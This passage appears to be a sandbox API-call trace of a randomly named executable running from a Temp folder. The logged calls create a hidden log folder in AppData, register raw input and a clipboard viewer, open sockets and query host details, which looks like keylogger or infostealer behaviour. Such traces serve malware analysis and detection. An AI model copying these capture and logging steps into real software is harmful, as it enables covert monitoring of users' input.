| out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0187.146] GetLastError () returned 0x2 [0187.146] SetErrorMode (uMode=0x0) returned 0x1 [0187.146] SetErrorMode (uMode=0x1) returned 0x0 [0187.146] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d231a10, ftCreationTime.dwHighDateTime=0x1d3f29b, ftLastAccessTime.dwLowDateTime=0x70fa31f0, ftLastAccessTime.dwHighDateTime=0x1d3f29b, ftLastWriteTime.dwLowDateTime=0x70fa31f0, ftLastWriteTime.dwHighDateTime=0x1d3f29b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0187.146] GetLastError () returned 0x2 [0187.146] SetErrorMode (uMode=0x0) returned 0x1 [0187.146] SetErrorMode (uMode=0x1) returned 0x0 [0187.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6d231a10, ftLastAccessTime.dwHighDateTime=0x1d3f29b, ftLastWriteTime.dwLowDateTime=0x6d231a10, ftLastWriteTime.dwHighDateTime=0x1d3f29b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0187.147] GetLastError () returned 0x2 [0187.147] SetErrorMode (uMode=0x0) returned 0x1 [0187.147] SetErrorMode (uMode=0x1) returned 0x0 [0187.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0187.147] GetLastError () returned 0x2 [0187.147] SetErrorMode (uMode=0x0) returned 0x1 [0187.147] SetErrorMode (uMode=0x1) returned 0x0 [0187.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0187.147] GetLastError () returned 0x2 [0187.147] SetErrorMode (uMode=0x0) returned 0x1 [0187.147] SetErrorMode (uMode=0x1) returned 0x0 [0187.147] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x18e0b8 | out: lpFileInformation=0x18e0b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0187.147] GetLastError () returned 0x2 [0187.147] SetErrorMode (uMode=0x0) returned 0x1 [0187.147] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\logs"), lpSecurityAttributes=0x0) returned 1 [0187.147] GetLastError () returned 0x2 [0187.147] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Logs\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\logs\\5p5nrgjn0js halpmcxz"), lpSecurityAttributes=0x0) returned 1 [0187.147] GetLastError () returned 0x2 [0187.528] SetErrorMode (uMode=0x1) returned 0x0 [0187.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18b684 | out: lpFileInformation=0x18b684*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0187.528] GetLastError () returned 0x2 [0187.528] SetErrorMode (uMode=0x0) returned 0x1 [0187.744] GetWindowThreadProcessId (in: hWnd=0x301b6, lpdwProcessId=0x18e11c | out: lpdwProcessId=0x18e11c) returned 0xafc [0187.744] GetCurrentThreadId () returned 0xafc [0188.038] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0188.038] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.378734a", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30158 [0188.038] SetWindowLongW (hWnd=0x30158, nIndex=-4, dwNewLong=2011571677) returned 5867162 [0188.039] GetWindowLongW (hWnd=0x30158, nIndex=-4) returned 2011571677 [0188.039] SetWindowLongW (hWnd=0x30158, nIndex=-4, dwNewLong=5867386) returned 2011571677 [0188.039] GetWindowLongW (hWnd=0x30158, nIndex=-4) returned 5867386 [0188.039] GetWindowLongW (hWnd=0x30158, nIndex=-16) returned 79691776 [0188.284] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x24, wParam=0x0, lParam=0x18db64) returned 0x0 [0188.284] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x81, wParam=0x0, lParam=0x18db58) returned 0x1 [0188.284] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x83, wParam=0x0, lParam=0x18db44) returned 0x0 [0188.285] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x1, wParam=0x0, lParam=0x18db58) returned 0x0 [0188.285] GetLastError () returned 0x0 [0188.290] RegisterRawInputDevices (pRawInputDevices=0x6126a0, uiNumDevices=0x1, cbSize=0xc) returned 1 [0188.292] SetClipboardViewer (hWndNewViewer=0x30158) returned 0x0 [0188.292] SendMessageA (hWnd=0x0, Msg=0x308, wParam=0x0, lParam=0x0) returned 0x0 [0188.292] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x30158, Msg=0x308, wParam=0x0, lParam=0x0) returned 0x0 [0188.856] CoCreateGuid (in: pguid=0x18e974 | out: pguid=0x18e974*(Data1=0x146bcb55, Data2=0xe439, Data3=0x4966, Data4=([0]=0x93, [1]=0x90, [2]=0xb5, [3]=0x27, [4]=0xd4, [5]=0x5a, [6]=0xdc, [7]=0xb2))) returned 0x0 [0189.575] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x612688 | out: lpWSAData=0x612688) returned 0 [0189.579] GetLastError () returned 0x0 [0190.013] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e0bc | out: phkResult=0x18e0bc*=0x1f0) returned 0x0 [0190.013] RegQueryValueExW (in: hKey=0x1f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x18e104, lpData=0x0, lpcbData=0x18e100*=0x0 | out: lpType=0x18e104*=0x1, lpData=0x0, lpcbData=0x18e100*=0xe) returned 0x0 [0190.014] RegQueryValueExW (in: hKey=0x1f0, lpValueName="InstallationType", lpReserved=0x0, lpType=0x18e104, lpData=0x612688, lpcbData=0x18e100*=0xe | out: lpType=0x18e104*=0x1, lpData="Client", lpcbData=0x18e100*=0xe) returned 0x0 [0190.015] RegCloseKey (hKey=0x1f0) returned 0x0 [0190.017] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x2cc [0190.334] GetLastError () returned 0x0 [0190.335] setsockopt (s=0x2cc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0190.335] GetLastError () returned 0x273a [0190.335] closesocket (s=0x2cc) returned 0 [0190.335] GetLastError () returned 0x0 [0190.335] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x2cc [0190.394] GetLastError () returned 0x0 [0190.394] setsockopt (s=0x2cc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0190.394] GetLastError () returned 0x273a [0190.394] closesocket (s=0x2cc) returned 0 [0190.395] GetLastError () returned 0x0 [0192.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", nBufferLength=0x105, lpBuffer=0x18e2d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", lpFilePart=0x0) returned 0x4e [0192.207] GetLastError () returned 0x0 [0192.310] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x612688, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe")) returned 0x3b [0192.310] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e330, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0192.310] GetLastError () returned 0x0 [0192.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e358, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0192.310] GetLastError () returned 0x0 [0192.764] GetCurrentProcess () returned 0xffffffff [0192.764] GetLastError () returned 0x3f0 [0192.764] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e46c | out: TokenHandle=0x18e46c*=0x2cc) returned 1 [0192.764] GetLastError () returned 0x3f0 [0192.766] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x18e004, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0192.766] GetLastError () returned 0x0 [0192.766] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x18e4ac | out: lpFileInformation=0x18e4ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1 [0192.767] GetLastError () returned 0x0 [0192.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x18dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0192.767] GetLastError () returned 0x0 [0192.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x18e4a8 | out: lpFileInformation=0x18e4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc2c74ba0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x60ed)) returned 1 [0192.767] GetLastError () returned 0x0 [0192.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x18df10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0192.767] GetLastError () returned 0x0 [0192.767] SetErrorMode (uMode=0x1) returned 0x0 [0192.767] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2d4 [0192.767] GetLastError () returned 0x0 [0192.767] GetFileType (hFile=0x2d4) returned 0x1 [0192.767] SetErrorMode (uMode=0x0) returned 0x1 [0192.767] GetFileType (hFile=0x2d4) returned 0x1 [0192.781] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18e47c | out: lpFileSizeHigh=0x18e47c*=0x0) returned 0x60ed [0192.781] GetLastError () returned 0x0 [0192.781] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e434, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e434*=0x1000, lpOverlapped=0x0) returned 1 [0192.782] GetLastError () returned 0x0 [0192.965] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0ec, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0ec*=0x1000, lpOverlapped=0x0) returned 1 [0192.965] GetLastError () returned 0x0 [0192.966] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0ec, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0ec*=0x1000, lpOverlapped=0x0) returned 1 [0192.966] GetLastError () returned 0x0 [0192.966] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0ec, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0ec*=0x1000, lpOverlapped=0x0) returned 1 [0192.966] GetLastError () returned 0x0 [0192.966] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0ec, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0ec*=0x1000, lpOverlapped=0x0) returned 1 [0192.966] GetLastError () returned 0x0 [0192.968] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e220, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e220*=0x1000, lpOverlapped=0x0) returned 1 [0192.968] GetLastError () returned 0x0 [0192.968] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e0b4, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e0b4*=0xed, lpOverlapped=0x0) returned 1 [0192.968] GetLastError () returned 0x0 [0192.968] ReadFile (in: hFile=0x2d4, lpBuffer=0x24248c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e16c, lpOverlapped=0x0 | out: lpBuffer=0x24248c8*, lpNumberOfBytesRead=0x18e16c*=0x0, lpOverlapped=0x0) returned 1 [0192.968] GetLastError () returned 0x0 [0192.969] CloseHandle (hObject=0x2d4) returned 1 [0192.969] GetLastError () returned 0x0 [0192.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", nBufferLength=0x105, lpBuffer=0x18e2d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", lpFilePart=0x0) returned 0x4e [0192.983] GetLastError () returned 0x0 [0192.983] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x612688, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe")) returned 0x3b [0192.983] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e330, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0192.983] GetLastError () returned 0x0 [0192.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e358, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0192.983] GetLastError () returned 0x0 [0192.984] GetCurrentProcess () returned 0xffffffff [0192.984] GetLastError () returned 0x3f0 [0192.984] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e6fc | out: TokenHandle=0x18e6fc*=0x2d4) returned 1 [0192.984] GetLastError () returned 0x3f0 [0192.984] GetCurrentProcess () returned 0xffffffff [0192.984] GetLastError () returned 0x3f0 [0192.984] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e6fc | out: TokenHandle=0x18e6fc*=0x2d0) returned 1 [0192.984] GetLastError () returned 0x3f0 [0192.985] GetCurrentProcess () returned 0xffffffff [0192.985] GetLastError () returned 0x3f0 [0192.985] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e46c | out: TokenHandle=0x18e46c*=0x2d8) returned 1 [0192.985] GetLastError () returned 0x3f0 [0192.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18e4ac | out: lpFileInformation=0x18e4ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0192.985] GetLastError () returned 0x2 [0192.985] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", nBufferLength=0x105, lpBuffer=0x18dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config", lpFilePart=0x0) returned 0x4e [0192.985] GetLastError () returned 0x2 [0192.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18e4a8 | out: lpFileInformation=0x18e4a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0192.985] GetLastError () returned 0x2 [0192.986] GetCurrentProcess () returned 0xffffffff [0192.986] GetLastError () returned 0x3f0 [0192.986] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e6fc | out: TokenHandle=0x18e6fc*=0x2dc) returned 1 [0192.986] GetLastError () returned 0x3f0 [0192.986] GetCurrentProcess () returned 0xffffffff [0192.986] GetLastError () returned 0x3f0 [0192.986] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e6fc | out: TokenHandle=0x18e6fc*=0x2e0) returned 1 [0192.986] GetLastError () returned 0x3f0 [0193.033] GetCurrentProcess () returned 0xffffffff [0193.033] GetLastError () returned 0x3f0 [0193.033] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e4d8 | out: TokenHandle=0x18e4d8*=0x2e4) returned 1 [0193.033] GetLastError () returned 0x3f0 [0193.037] GetCurrentProcess () returned 0xffffffff [0193.037] GetLastError () returned 0x3f0 [0193.037] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e4e8 | out: TokenHandle=0x18e4e8*=0x2e8) returned 1 [0193.037] GetLastError () returned 0x3f0 [0193.044] GetCurrentProcessId () returned 0xaf8 [0193.044] GetComputerNameW (in: lpBuffer=0x612688, nSize=0x2450f38 | out: lpBuffer="XDUWTFONO", nSize=0x2450f38) returned 1 [0193.044] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e73c | out: phkResult=0x18e73c*=0x2ec) returned 0x0 [0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="Library", lpReserved=0x0, lpType=0x18e784, lpData=0x0, lpcbData=0x18e780*=0x0 | out: lpType=0x18e784*=0x1, lpData=0x0, lpcbData=0x18e780*=0x1c) returned 0x0 [0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="Library", lpReserved=0x0, lpType=0x18e784, lpData=0x612688, lpcbData=0x18e780*=0x1c | out: lpType=0x18e784*=0x1, lpData="netfxperf.dll", lpcbData=0x18e780*=0x1c) returned 0x0 [0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x18e784, lpData=0x0, lpcbData=0x18e780*=0x0 | out: lpType=0x18e784*=0x4, lpData=0x0, lpcbData=0x18e780*=0x4) returned 0x0 [0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x18e784, lpData=0x18e770, lpcbData=0x18e780*=0x4 | out: lpType=0x18e784*=0x4, lpData=0x18e770*=0x1, lpcbData=0x18e780*=0x4) returned 0x0 [0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="First Counter", lpReserved=0x0, lpType=0x18e784, lpData=0x0, lpcbData=0x18e780*=0x0 | out: lpType=0x18e784*=0x4, lpData=0x0, lpcbData=0x18e780*=0x4) returned 0x0 [0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="First Counter", lpReserved=0x0, lpType=0x18e784, lpData=0x18e770, lpcbData=0x18e780*=0x4 | out: lpType=0x18e784*=0x4, lpData=0x18e770*=0x137a, lpcbData=0x18e780*=0x4) returned 0x0 [0193.045] RegCloseKey (hKey=0x2ec) returned 0x0 [0193.045] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e738 | out: phkResult=0x18e738*=0x2ec) returned 0x0 [0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x18e780, lpData=0x0, lpcbData=0x18e77c*=0x0 | out: lpType=0x18e780*=0x4, lpData=0x0, lpcbData=0x18e77c*=0x4) returned 0x0 [0193.045] RegQueryValueExW (in: hKey=0x2ec, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x18e780, lpData=0x18e76c, lpcbData=0x18e77c*=0x4 | out: lpType=0x18e780*=0x4, lpData=0x18e76c*=0x3, lpcbData=0x18e77c*=0x4) returned 0x0 [0193.046] RegQueryValueExW (in: hKey=0x2ec, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x18e780, lpData=0x0, lpcbData=0x18e77c*=0x0 | out: lpType=0x18e780*=0x4, lpData=0x0, lpcbData=0x18e77c*=0x4) returned 0x0 [0193.046] RegQueryValueExW (in: hKey=0x2ec, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x18e780, lpData=0x18e76c, lpcbData=0x18e77c*=0x4 | out: lpType=0x18e780*=0x4, lpData=0x18e76c*=0x20000, lpcbData=0x18e77c*=0x4) returned 0x0 [0193.046] RegQueryValueExW (in: hKey=0x2ec, lpValueName="Counter Names", lpReserved=0x0, lpType=0x18e780, lpData=0x0, lpcbData=0x18e77c*=0x0 | out: lpType=0x18e780*=0x3, lpData=0x0, lpcbData=0x18e77c*=0xaa) returned 0x0 [0193.046] RegQueryValueExW (in: hKey=0x2ec, lpValueName="Counter Names", lpReserved=0x0, lpType=0x18e780, lpData=0x245367c, lpcbData=0x18e77c*=0xaa | out: lpType=0x18e780*=0x3, lpData=0x245367c*, lpcbData=0x18e77c*=0xaa) returned 0x0 [0193.048] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0193.048] GetLastError () returned 0x0 [0193.050] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x6126b8, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x2f0 [0193.050] GetLastError () returned 0x0 [0193.051] MapViewOfFile (hFileMappingObject=0x2f0, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5250000 [0193.052] VirtualQuery (in: lpAddress=0x5250000, lpBuffer=0x18e750, dwLength=0x1c | out: lpBuffer=0x18e750*(BaseAddress=0x5250000, AllocationBase=0x5250000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c [0193.052] GetLastError () returned 0x0 [0193.052] LocalFree (hMem=0x682ee8) returned 0x0 [0193.053] RegCloseKey 